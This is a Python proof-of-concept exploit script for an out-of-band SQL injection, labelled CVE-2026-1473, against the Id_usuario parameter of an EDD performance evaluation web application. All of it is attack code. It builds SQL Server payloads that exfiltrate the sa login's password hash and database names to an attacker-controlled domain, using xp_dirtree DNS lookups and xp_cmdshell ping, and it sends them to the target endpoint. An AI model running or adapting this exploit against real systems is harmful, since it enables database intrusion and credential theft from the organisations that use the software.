#!/usr/bin/env python3
"""
CVE-2026-1473 - Out-of-Band SQL Injection PoC
Target: Performance Evaluation (EDD) by Gabinete Técnico de Programación
Endpoint: /evaluacion_competencias_evalua.aspx
Vulnerable Parameter: Id_usuario
"""
import requests
import base64
import argparse
def build_oob_payload(target_domain):
"""Build OOB SQLi payload for DNS exfiltration on SQL Server"""
# Payload to extract database user via DNS request
# Using xp_dirtree to trigger DNS lookup
payload = f"'; DECLARE @host VARCHAR(8000); SET @host = (SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') + '.{target_domain}'; EXEC('master..xp_dirtree ''\\\\' + @host + '\\c$'''); --"
return payload
def build_dns_exfil_payload(target_domain, query):
"""Build DNS exfiltration payload for SQL Server"""
# Encode query result and send via DNS
encoded_query = base64.b64encode(query.encode()).decode()
payload = f"'; DECLARE @data VARCHAR(8000); SELECT @data = (SELECT TOP 1 name FROM sys.databases); EXEC('exec master..xp_cmdshell "ping ' + @data + '.' + '{target_domain}' + '"'); --"
return payload
def exploit_sql_injection(target_url, vulnerable_param, payload, proxy=None):
"""
Send malicious payload to vulnerable endpoint
"""
proxies = {'http': proxy, 'https': proxy} if proxy else None
# Target endpoint
endpoint = f"{target_url}/evaluacion_competencias_evalua.aspx"
# POST data with malicious Id_usuario parameter
data = {
vulnerable_param: payload,
'__VIEWSTATE': 'dummy',
'__EVENTVALIDATION': 'dummy'
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
try:
response = requests.post(endpoint, data=data, headers=headers,
proxies=proxies, timeout=30, verify=False)
return response.status_code, response.text[:500]
except requests.exceptions.RequestException as e:
return None, str(e)
def main():
parser = argparse.ArgumentParser(description='CVE-2026-1473 OOB SQLi PoC')
parser.add_argument('--url', required=True, help='Target base URL')
parser.add_argument('--attacker-domain', required=True, help='Attacker-controlled domain for DNS exfiltration')
parser.add_argument('--param', default='Id_usuario', help='Vulnerable parameter name')
parser.add_argument('--proxy', help='HTTP proxy for debugging')
args = parser.parse_args()
print(f"[*] CVE-2026-1473 OOB SQL Injection PoC")
print(f"[*] Target: {args.url}")
print(f"[*] Attacker Domain: {args.attacker_domain}")
# Build payload
payload = build_oob_payload(args.attacker_domain)
print(f"[*] Generated Payload: {payload[:100]}...")
# Send exploit
print(f"[*] Sending exploit request...")
status, response = exploit_sql_injection(args.url, args.param, payload, args.proxy)
if status:
print(f"[+] Request sent. Status: {status}")
print(f"[*] Check DNS logs on {args.attacker_domain} for exfiltrated data")
else:
print(f"[-] Request failed: {response}")
if __name__ == '__main__':
main()